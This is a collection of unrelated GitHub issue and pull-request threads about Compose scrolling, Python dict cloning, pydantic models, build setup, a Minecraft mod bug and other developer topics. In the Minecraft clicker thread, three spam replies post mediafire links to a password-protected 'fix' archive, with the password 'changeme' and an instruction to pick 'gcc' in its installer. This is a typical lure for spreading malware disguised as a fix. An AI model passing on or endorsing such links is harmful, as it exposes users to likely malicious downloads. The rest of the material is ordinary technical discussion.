LazyColumn is not scrollable when reinitializing its LazyListState and wasn't scrollable before

Describe the bug
Before 1.5.0 (tested with rc01 and r04), you could change the state of the LazyColumn without any issues, but now it stops scrolling if the previous data was not scrollable (works fine in 1.4.3). Here is a minimal version of the bug found in Gitnuro:
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.lazy.LazyListState
import androidx.compose.foundation.lazy.items
import androidx.compose.material.Button
import androidx.compose.material.Text
import androidx.compose.runtime.collectAsState
import androidx.compose.runtime.getValue
import androidx.compose.ui.Modifier
import androidx.compose.ui.window.singleWindowApplication
import com.jetpackduba.gitnuro.ui.components.ScrollableLazyColumn
import kotlinx.coroutines.flow.MutableStateFlow

fun main() {
    val lazyListStateFlow = MutableStateFlow(
        LazyListState(firstVisibleItemIndex = 0, firstVisibleItemScrollOffset = 0)
    )

    val numbersFlow = MutableStateFlow(emptyList<Int>())

    singleWindowApplication {
        val listState by lazyListStateFlow.collectAsState()
        val numbers by numbersFlow.collectAsState()

        Column {
            Button(
                onClick = {
                    numbersFlow.value = (0 until 10).toList()
                    lazyListStateFlow.value = LazyListState(firstVisibleItemIndex = 0, firstVisibleItemScrollOffset = 0)
                }
            ) {
                Text("10 items")
            }
            Button(
                onClick = {
                    numbersFlow.value = (0 until 100).toList()
                    lazyListStateFlow.value = LazyListState(firstVisibleItemIndex = 0, firstVisibleItemScrollOffset = 0)
                }
            ) {
                Text("100 items")
            }

            ScrollableLazyColumn(modifier = Modifier.fillMaxSize(), state = listState) {
                items(numbers) {
                    Text(it.toString())
                }
            }
        }
    }
}

ScrollableLazyColumn component is just this:
@Composable
fun ScrollableLazyColumn(
    modifier: Modifier,
    state: LazyListState = rememberLazyListState(),
    content: LazyListScope.() -> Unit
) {
    Box(
        modifier = modifier,
    ) {
        LazyColumn(
            state = state,
            content = content
        )
        VerticalScrollbar(
            modifier = Modifier
                .align(Alignment.CenterEnd)
                .fillMaxHeight()
                .padding(end = 2.dp),
            style = LocalScrollbarStyle.current.copy(
                unhoverColor = MaterialTheme.colors.scrollbarNormal,
                hoverColor = MaterialTheme.colors.scrollbarHover,
            ),
            adapter = rememberScrollbarAdapter(
                scrollState = state
            )
        )
    }
}

When dragging using the scrollbar it works just fine, but not with the mouse.
Works fine on Android.
Affected platforms
Select one of the platforms below:

Desktop

Versions

Kotlin version*:  1.7.10
Compose Multiplatform version*:   1.5.0-rc04
OS version(s)* (required for Desktop and iOS issues): Archlinux (up to date) & Ubuntu 22.04.3
OS architecture (x86 or arm64):  x86
JDK (for desktop issues): Amazon Corretto 17

To Reproduce
Steps and/or the code snippet to reproduce the behavior:

Click on the "10 items" button.
Click on the "100 items" button.
Try to scroll the list (Nothing happens)
Close the app
Click on the "100 items" button.
Try to scroll the list (It works)

Expected behavior
It should be scrollable whenever there are enough items, as happens with the scrollbar.

Please check the following ticket on YouTrack for follow-ups to this issue. GitHub issues will be closed in the coming weeks.


Is turning dicts in to Dicts unwanted behaviour?

Some people have over the weekend expressed their concern that the fact that we are not keeping the original dict-object, merely a Dict-clone of it, in our Dict, might be dangerous. In situations where you do
>>> something = {'a': [1, 2, 3]}
>>> a  = Dict(something)
>>> something['a'].append(4)
>>> a
 {'a': [1, 2, 3]}
>>> something
 {'a': [1, 2, 3, 4]}

I completely understand this concern. Perhaps Dict.init may have a parameter to control this behaviour, during construction. And then we remove this for dicts that are added not through Dict.init. Something in the lines of:
>>> a = Dict({'b': {'c': 2}}, addicted=True)
>>> a.b.d = {'e': 3}
>>> a
{'b': {'c': 2, 'd': {'e': 3}}}
>>> a.b.d.f = 4
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: can't set attributes of built-in/extension type 'dict'

The current behavior definitely does not comply with Python's default handling of mutable objects and is not consistent in itself!
However, I would not say that this is an issue of turning dict instances into Dicts. The problem lies in the special handling of list objects. The following example is – as far as Python's data handling is concerned – identical to the above use case:
>>> class Foo: pass
>>> something = {'a': Foo()}
>>> a = Dict(something)
>>> something['a'].child = 42
>>> a.a.child
42
>>> something['a'].child
42

In this case, a.a indeed is a "reference" to something['a'], other than in the list example given above.
In my personal opinion, lists should not be copied when setting them as a value of a Dict instance but should be handled the same way as regular mutable objects.
Returning to the original question, I would say that standard dict instances should be converted to Dicts. In my opinion, this follows the idea of this project, to enable quick and sleek access to a dicts children.
Making this a user's choice – e.g. via a parameter in the __init__ function – is definitely a good compromise, even if this would lead to an increased workload for maintaining this module.
(Just a quick note: While I have the feeling to have some idea about Python's data model and mutable/immutable stuff, the matter is not that trivial. I might be wrong about some of my statements above.)

Thanks @sbillaudelle.
The fact that lists are being copied right now is a result of recursively (even inside lists) turning dicts into addicts, leaving the following behaviour
>>> a_dict = Dict()
>>> my_list = [{'a': 2}]
>>> a_dict.b = my_list
>>> a_dict.b[0].a
2

but indeed also clones the list
>>> a_dict.b.append(2)
>>> a_dict
{'b': [{'a': 2}, 2]}
>>> my_list
[{'a': 2}]
>>>

Is it better if we keep a reference to the same list inside the Dict, but turn the elements that are dictionaries into Dicts?
>>> a_dict = Dict()
>>> my_list = [{'a': 2}]
>>> isinstance(my_list[0], Dict)
False
>>> a_dict.b = my_list
>>> isinstance(my_list[0], Dict)
True

I think I prefer the latter, although it might seem hazardous to mess with users data. But this is indeed what we do with dictionaries being put into a Dict.
So I guess this boils down to, if we've decided to not clone lists;
If you put a list of stuff into an addict, should we iterate through them and convert dictionaries to Dicts, modifying the data that you put in? (

Sorry just learning about this library and loving it.  I think to keep this class as similar to a python dict's functionality would be ideal.  as seen here i would think as it currently stands this is a this is a bug that needs to be fixed, because doing the exact same example as originally above with just python dict's you get this...
>>> something = {"a": [1,2,3]}
>>> a = dict(something)
>>> something["a"].append(4)
>>> a
{'a': [1, 2, 3, 4]}
>>> something
{'a': [1, 2, 3, 4]}

And just for futher show this with standard python objects in a deeper recursion...
>>> something = {"a":[1,2,{"b":[1,2,3]}]}
>>> a = dict(something)
>>> something["a"][2]["b"].append(4)
>>> a
{'a': [1, 2, {'b': [1, 2, 3, 4]}]}
>>> something
{'a': [1, 2, {'b': [1, 2, 3, 4]}]}

So IMO this should be fixed.

Hey @rocktavious.
I agree that addict differs from the builtin dict class on this. The thought was to allow the second example to be written something along the lines of
>>> something = {"a":[1,2,{"b":[1,2,3]}]}
>>> a = Dict(something)
>>> something.a[2].b.append(4)
>>> something
{'a': [1, 2, {'b': [1, 2, 3, 4]}]}

But in order to enable that syntax for both lists and tuples, they are being clones such that the original list will be left intact:
>>> a
{'a': [1, 2, {'b': [1, 2, 3]}]}

I thought perhaps we could disable cloning by default, but be able to turn it on by introducing an argument that enables cloning. I'll think about it, and perhaps implement it tonight. Thanks for commenting and using! :+1: Any further thoughts?

The only thing i would be careful about is if cloning defaults to False, then wouldn't dictionaries inside lists not become addict's so the following would error
>>> something = {"a":[1,2,{"b":[1,2,3]}]}
>>> a = Dict(something)
>>> something.a[2].b

Would raise an "Attribute Error" because there is no attribute "b" on the dictionary at something.a[2]

I've given this some more thought and I actually think we need to land on a behaviour without introducing more complexity (i.e. a parameter). Imho, we have two choices. Either the values we set are being cloned (and dicts turned into addicts) like today, or the values set are not being cloned.
I'm not sure, but I do think the constructor is fine the way it is: turning dicts into addicts, and cloning lists and tuples. Here it should be clear that we're making a new object.
However, when values are set outside the constructor, i.e.


TableData are now column-stored

A problem I see with the current implementation is that what used to be TableData and TabularDataResult are now only one class. This is a problem because TableData was the object that represents a db table and TabularDataResult was the object that represents the result of an algorithm. These two things have to be kept separated, despite being very similar. So one way I see this happening without code duplication is having 2 separate classes that use common _ColumnData implementations as their building blocks:
The object the algorithms will return as their result:
class TabularDataResult(ImmutableBaseModel):
    title: str
    columns: List[Union[ColumnDataInt, ColumnDataStr, ColumnDataFloat]]

The object that the task get_table_data returns:
class TableData(ImmutableBaseModel):
    name: str
    columns: List[Union[ColumnDataInt, ColumnDataStr, ColumnDataFloat]]

Their common _ColumnData implementations:
class _ColumnData(ImmutableBaseModel):
    name: str
    type: DType

    @validator("type")
    def validate_type(cls, tp):
        if cls.__name__ == "ColumnData":
            raise TypeError(
                "ColumnData should not be instantiated. "
                "Use ColumnDataInt, ColumnDataStr or ColumnDataFloat instead."
            )
        column_type = cls.__fields__["type"].default
        if tp != column_type:
            raise ValueError(
                f"Objects of type {cls.__name__} have a fixed type {column_type}, "
                f"you cannot use {tp} in the constructor."
            )
        return tp

class ColumnDataInt(_ColumnData):
    data: List[Union[None, int]]
    type = DType.INT

class ColumnDataStr(_ColumnData):
    data: List[Union[None, str]]
    type = DType.STR

class ColumnDataFloat(_ColumnData):
    data: List[Union[None, float]]
    type = DType.FLOAT

It is also important to implicitly define as immutable variables or whole objects that could only be altered by mistake, so in this case either use
class Config:
    allow_mutation = False

if extending the BaseModel or use the ImmutableBaseModel we have defined

Although @jassak has a point in his comment  about the code duplication on TableData and TabularDataResult, having only one class for both cases is not the best solution. This solution is problematic because TableData is the object that represents a database table and TabularDataResult is the object that represents the result of an algorithm. These two things have to be kept separated, despite being very similar. So one way I see this happening without code duplication is having 2 separate classes that use common _ColumnData implementations as their building blocks:
The object the algorithms will return as their result:
class TabularDataResult(ImmutableBaseModel):
    title: str
    columns: List[Union[ColumnDataInt, ColumnDataStr, ColumnDataFloat]]

The object that the task get_table_data returns:
class TableData(ImmutableBaseModel):
    name: str
    columns: List[Union[ColumnDataInt, ColumnDataStr, ColumnDataFloat]]

Their common _ColumnData implementations:
class _ColumnData(ImmutableBaseModel):
    name: str
    type: DType

    @validator("type")
    def validate_type(cls, tp):
        if cls.__name__ == "ColumnData":
            raise TypeError(
                "ColumnData should not be instantiated. "
                "Use ColumnDataInt, ColumnDataStr or ColumnDataFloat instead."
            )
        column_type = cls.__fields__["type"].default
        if tp != column_type:
            raise ValueError(
                f"Objects of type {cls.__name__} have a fixed type {column_type}, "
                f"you cannot use {tp} in the constructor."
            )
        return tp

class ColumnDataInt(_ColumnData):
    data: List[Union[None, int]]
    type = DType.INT

class ColumnDataStr(_ColumnData):
    data: List[Union[None, str]]
    type = DType.STR

class ColumnDataFloat(_ColumnData):
    data: List[Union[None, float]]
    type = DType.FLOAT

@apmariglis This is the way it is implementated maybe you need to refresh the page to see the new commits.


feat: change schema for snapshot paths (WIP)

This PR changes how the paths for snapshots are computed. The main goal is to make it easier to derive what test a certain snapshot belongs to, which I plan to use in #139. The new schema and the way the paths are computed also have a few additional (more arguable?) benefits:

The path components for the extension_functions/relations category and the subcategory are used in the test_*_functions/relations.py file, where they are available, rather than in common.py, where they where previously extracted from the test name string.
The top-level directory below extension_functions/relations is simply snapshots. Since those are generated files that are rarely modified manually, I argue that having many *_snapshot folders were just distracting.
The next level is now producer or consumer, which is maybe the single-most distinctive feature, which was previously not represented in the path at all.

The PR also removes a couple of unused function arguments and fixtures.

This hasn't been necessary for the goal I originally wanted to accomplish and is now out of sync...


dev to master quick merge

dev to master merge.

This will also serve as a test to see if the mdbook is properly being built.
A quick test, is to see if we have an intro paragraph for the sysadmins section.
As of now, dev branch has the intro: https://www2.manual.grid.tf/system_administrators/system_administrators.html
But not yet master branch: https://www.manual.grid.tf/system_administrators/system_administrators.html

Since this PR is basically the same checked changes as in dev branch, I will merge it now, without reviews. (The reviews have been already done so to speak.)


I can define a task listener for event update

Camunda BPM 7.12 will have a feature to define a task listener for all kinds of updates to a task: https://app.camunda.com/jira/browse/CAM-10254
It should be possible to define a task listener for the update event, so that the following XML is generated:
<bpmn:userTask id="myTask">
  <bpmn:extensionElements>
    <camunda:taskListener class="my.java.Class" event="update" />
  </bpmn:extensionElements>
</bpmn:userTask>

This listener should have the same configuration options like a create listener.

Waiting for bpmn-js-properties-panel to be released.


THANK YOU!!

Not an issue, just a reminder of how awesome you are!
This package has helped me tremendously
Feel free to close this "issue"
❤ from Denmark

thanks for the kind words 🙏


Quick Start Failure : PluginInstall

I did what as Quick Start cause I reinstalled my Ubuntu. And I there is an error of installing
'file:///home/gmarik/path/to/plugin'
I think this kind of file doesn't exist. Should I have to download somewhere else? Or is it the plugin don't exist anymore?

Plugin 'file:///home/gmarik/path/to/plugin' is an example for git repository on your local machine. It searches /home/gmarik/path/to/plugin in the local machine, so you can just delete it. Feel free to delete every Plugin line but Plugin 'VundleVim/Vundle.vim'.

Oh my god........ You're right. I was truly no better than blind..... Thank you very much.


Inlined only invokation of internal SetInstanceId to call site.

I'm not sure why the netId == 0 check is there, but I left it in for now. It may be worthwhile to see if it is actually necessary, it seems as though isServer would always be false there anyways. But thats for another PR.

PR is busted. Trying again.


[Bug]: Alignment of selected and unselected stars in rate widget is not same

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior

Steps To Reproduce

Drag and drop a Rating widget
Change the size to small
Observe that the alignment of selected and unselected starts are not same

Environment
Release
Version
Cloud

@somangshu Unable to reproduce this issue. Moving this to needs info.
@vivekverma2312 Could you check if this issue still persists?

same here, Closing for now


Building the project in Microsoft Visual Studio Community 2022

Anyone got it running in Microsoft Visual Studio Community 2022?
I get the retarget dialog (accept defaults) and then the build fails due to missing files:

Microsoft Visual Studio Community 2022
Version 17.0.4
VisualStudio.17.Release/17.0.4+32014.148
Microsoft .NET Framework
Version 4.8.04084
Installed Version: Community
Visual C++ 2022   00482-90000-00000-AA031
Microsoft Visual C++ 2022
ASP.NET and Web Tools 2019   17.0.795.42246
ASP.NET and Web Tools 2019
Azure App Service Tools v3.0.0   17.0.795.42246
Azure App Service Tools v3.0.0
C# Tools   4.0.1-1.21568.1+6ab6601178d9fba8c680b56934cd1742e0816bff
C# components used in the IDE. Depending on your project type and settings, a different version of the compiler may be used.
Common Azure Tools   1.10
Provides common services for use by Azure Mobile Services and Microsoft Azure Tools.
Cookiecutter   17.0.21293.2
Provides tools for finding, instantiating and customizing templates in cookiecutter format.
Microsoft JVM Debugger   1.0
Provides support for connecting the Visual Studio debugger to JDWP compatible Java Virtual Machines
Microsoft MI-Based Debugger   1.0
Provides support for connecting Visual Studio to MI compatible debuggers
Microsoft Visual C++ Wizards   1.0
Microsoft Visual C++ Wizards
Microsoft Visual Studio VC Package   1.0
Microsoft Visual Studio VC Package
NuGet Package Manager   6.0.1
NuGet Package Manager in Visual Studio. For more information about NuGet, visit https://docs.nuget.org/
ProjectServicesPackage Extension   1.0
ProjectServicesPackage Visual Studio Extension Detailed Info
Python - Profiling support   17.0.21293.2
Profiling support for Python projects.
Python with Pylance   17.0.21293.2
Provides IntelliSense, projects, templates, debugging, interactive windows, and other support for Python developers.
Test Adapter for Boost.Test   1.0
Enables Visual Studio's testing tools with unit tests written for Boost.Test.  The use terms and Third Party Notices are available in the extension installation directory.
Test Adapter for Google Test   1.0
Enables Visual Studio's testing tools with unit tests written for Google Test.  The use terms and Third Party Notices are available in the extension installation directory.
TypeScript Tools   17.0.1001.2002
TypeScript Tools for Microsoft Visual Studio
Visual Basic Tools   4.0.1-1.21568.1+6ab6601178d9fba8c680b56934cd1742e0816bff
Visual Basic components used in the IDE. Depending on your project type and settings, a different version of the compiler may be used.
Visual F# Tools   17.0.0-beta.21522.2+6d626ff0752a77d339f609b4d361787dc9ca93a5
Microsoft Visual F# Tools
Visual Studio Code Debug Adapter Host Package   1.0
Interop layer for hosting Visual Studio Code debug adapters in Visual Studio
Visual Studio IntelliCode   2.2
AI-assisted development for Visual Studio.
Visual Studio Tools for CMake   1.0
Visual Studio Tools for CMake

I suspect you need to setup vcpkg integration for vstudio 2022. I'm using Rider, so sadly can't help much.

Indeed vcpkg helped, thanks!


Renaming entity is not propagated into tree after the tab is closed

Steps to reproduce

Open an entity
Rename entity
Hit save
Close tab with entity
===> entity name is reverted back to original in the tree
Open entity
===> entity name is correct in the tree

Fixed in 1.2.0


Implement edx problem interaction events pydantic models

Purpose
Problem interaction events are Edx events generated during platform usage. They are emitted by the server or the browser to capture information about interactions with problems.
Proposal
Write pydantic models, edge-case and selector tests for:

[x] edx.problem.hint.demandhint_displayed
[x] edx.problem.hint.feedback_displayed
[x] problem_check (browser)
[x] problem_check (server)
[x] problem_check_fail
[x] problem_graded
[x] problem_rescore
[x] problem_rescore_fail
[x] reset_problem
[x] reset_problem_fail
[x] save_problem_fail
[x] save_problem_success
[x] showanswer

Apropos, I pasted a couple of problem interaction events here. We could use them for validation:
cat /path/to/events.txt | ./bin/ralph -v DEBUG validate -f edx -F


Remove references to no longer the used 'get_files.json'

Good catch!

I can't take the credit; Sam spotted this one when I asked him a question about it 🙂 .


Ensure primary and accent are distinct (fixes #1206)

Hmm. Drone build is failing for some reason.

Yeah, because I will never learn to put a space between if and (. I need JSCS/JSHint commit hooks. Even my editor underlined it. Sorry about that. Fixed now.

lgtm


Cookie policy, Contribution page, footer section

@PriyaGhosal
Related Issue
[Cite any related issue(s) this pull request addresses. If none, simply state “None”]
Fixes:  #(issue no.)
Description
I have made several improvements to the website, including:

Added a header and footer to various pages, ensuring consistent design.
Enhanced the cookie policy, copyright, terms of service, privacy policy, and disclaimer pages.
Improved the footer alignment on other pages for better consistency.
Updated the About, FAQ, and Team pages, and added margin-bottom spacing to the Contact page.
Fixed alignment issues in the footer section of the Contributor page.
Resolved a bug in the header section of the Contributor page, where the navigation was displaying the default user agent stylesheet instead of the applied CSS.
Integrated Google Translator on several pages to improve accessibility.

issue no. #1422
Type of PR

[x ] Bug fix
[x ] Feature enhancement
[ ] Documentation update
[ ] Other (specify): _______________

Screenshots / videos (if applicable)
before: Cookie_policy page

after

before: contributor page

after

before: FAQ  page

after

before: Copyright page

after

Checklist:

[ x] I have made this change from my own.
[ x] I have taken help from some online resources.
[x ] My code follows the style guidelines of this project.
[x ] I have performed a self-review of my own code.
[x ] I have commented my code, particularly in hard-to-understand areas.
[ x] I have tested the changes thoroughly before submitting this pull request.
[x ] I have provided relevant issue numbers and screenshots after making the changes.

@PriyaGhosal If there is any issue in code plz let me known

@Pushpa472
Please see the conflicts .

@PriyaGhosal Hmm, I'm solving the conflict.

@Pushpa472 Are you working on it or should I close it

@PriyaGhosal I already resolve conflict, i don't know why happing this ... two times i resolve conflict and show there is no conflict in this branch

@PriyaGhosal I solve the conflict please review  it

@Pushpa472 Please see the conflicts .

@PriyaGhosal now check it

please resolve

@PriyaGhosal how I can resolve not show me any conflict ...plz tell me


[monitor-query] include-render header not configurable

Issue found by @scottaddie
This header is documented here: https://dev.loganalytics.io/documentation/Using-the-API/RequestOptions

Quick note - adding the option is trivial. The generated contracts do not have a property to show it, however. Working on it.

Adding @KarishmaGhiya , just so she's aware of what's in process.


doc: fix links to mailing lists

A recent LF change to the Zephyr mailing list hosting software changed
the mailing list names and links to the message archives.
Signed-off-by: David B. Kinder<EMAIL_ADDRESS>

Codecov Report

Merging #7096 into master will increase coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #7096      +/-   ##
==========================================
+ Coverage   58.61%   58.62%   +<.01%
==========================================
  Files         464      464
  Lines       47440    47440
  Branches     8790     8790
==========================================
+ Hits        27809    27810       +1
+ Misses      15798    15797       -1
  Partials     3833     3833

Impacted Files
Coverage Δ

lib/posix/pthread.c
69.84% <0%> (+0.5%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 09a8810...6d59e8e. Read the comment docs.


Block clicker with 2+ click requirements does not work (ex: axe breaking wood)

Just Dire Things version
1.1.1
Minecraft Version
1.21.1
(Neo)Forge Version
21.1.28
Modpack & Version
No response
Do you have optifine or Rubidium installed?
Yes
Describe the issue
Progressive progress on breaking blocks with tools in the clickers doesn't seem to work. Progress gets reset while draining power in advanced clicker.
Steps to reproduce
I'm testing with the following:

advanced clicker with plenty of power.
celestigem axe with tree feller
target advanced clicker so it can break one block of a grown dark oak tree.

Watch block break animation appear on the block and power reduce, however breaking progress does not progress beyond initial break animation.
Expected behaviour
break the tree ? :)
Screenshots
No response
Log files
No response
Additional information
No response

This is why the block breaker exists. You can put the tool in it and it will break blocks using the tool

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."


MediaSoup iOS not working

Not sure if this is simply because you have not finished implementation of something or not, but...
I am trying to get your MediaSoup implementation to talk with my MediaSoup based server, and it works using Android.  But in iOS the RTCPeerConnection.AddTransceiverWithTrack(track, init) always returns null.  As far as I can tell everything between the 2 implementations has succeeded prior to this step and resulted in the same inputs to the call.
I have been pulling my hair out trying to figure it out and I realize that this is not necessarily an issue with your code, but any thoughts or ideas would be appreciated.

Hi, it could be an issue in my code.
Because I remember I observed an issue during my tests on iOS (for MeidaSoup). I can't remember the exact details but I was observing an issue that an object that I still have reference (or think have a reference) was disposed for some reason. It was something due to the the way the code is implemented right now. Instead of using an existing object the code was creating a new object or similar. As I said I can't remember the exactly details right now.  I need to debug and reproduce the issue to make sure the exact root cause.
Do you get object disposed error? If so, it is due to the reason I provided above.

I am not getting object disposed currently.  Although I do remember getting that at some point and had to change the way the object was being constructed.  But I can't remember exactly what object that was, or whether it was iOS or not.  I will keep digging. Thanks


install-application action fails with "File not found" error

The error is as follows:

This looks to caused by the fact that the 'install-application' folder is not present under /dist/actions. Running the corresponding PAC CLI command locally works as expected. So I feel this is to do with the packaging/distribution of the Github Actions.

@petrochuk - Can you take a look into this?

Hmm.   It's explicitly listed as a skipped task here in the gulpfile.mjs.
That change was introduced in September 2022 via #242, with the reason given in the PR as:

disabling/skipping the 'install-application' task until the sporadic 403 issue is fixed by the EnvMgmt team

Thanks @tehcrashxor @snizar007.
Interestingly, when I tried to invoke the PAC CLI directly within the Github runner rather than attempting to use this action (as an interim workaround), I am receiving 403 errors every time if the command attempts to install the application. As you see in this screenshot:

But if I run the command locally it works as expected occasionally and fails with the same error sometimes. Same environment, same authentication mechanism and credentials, same version of the PAC CLI:

@tehcrashxor Is this the same 403 issue you're referring to in your comment above?

Is this the same 403 issue you're referring to in your comment above?

Not sure if it's the same issue as when it was first disabled, but we're looking into it.

Same environment, same authentication mechanism and credentials, same version of the PAC CLI

Just to make sure we cover all the bases on difference between GH Runners and your local machine:

Did you use a normal user, or a Service Principal?
Is the Github runner using a Windows or Linux agent?

@tehcrashxor
Using a normal user, I couldn't get the command to work at all with a Service Principal
And so far I've only tested this on a Linux agent

@parvezghumra - any update on this?
If you no longer have this issue, shall we close this?


[Question] Is it necessary for Akkoma?

Is FediFetcher needed for Akkoma? Are the problems it solves more of a Mastodon thing or is it tied to all platforms of the fediverse?

I'm not really sure, to be honest, as I have never used Akkoma.
However, some has set used FediFetcher for Pleroma in the past, so I assume it was needed there. And since Akkoma and Pleroma are very similar, I assume that Akkoma would also benefit from FediFetcher. As far as I know it should work with Pleroma / Akkoma, as long as you leave the reply-interval-in-hours option disabled (which it is by default), but again: I have never used Akkoma, so don't know for sure.
Would be happy to get some feedback though, if you manage to get it working

Closing this as stale now. Feel free to reopen if needed.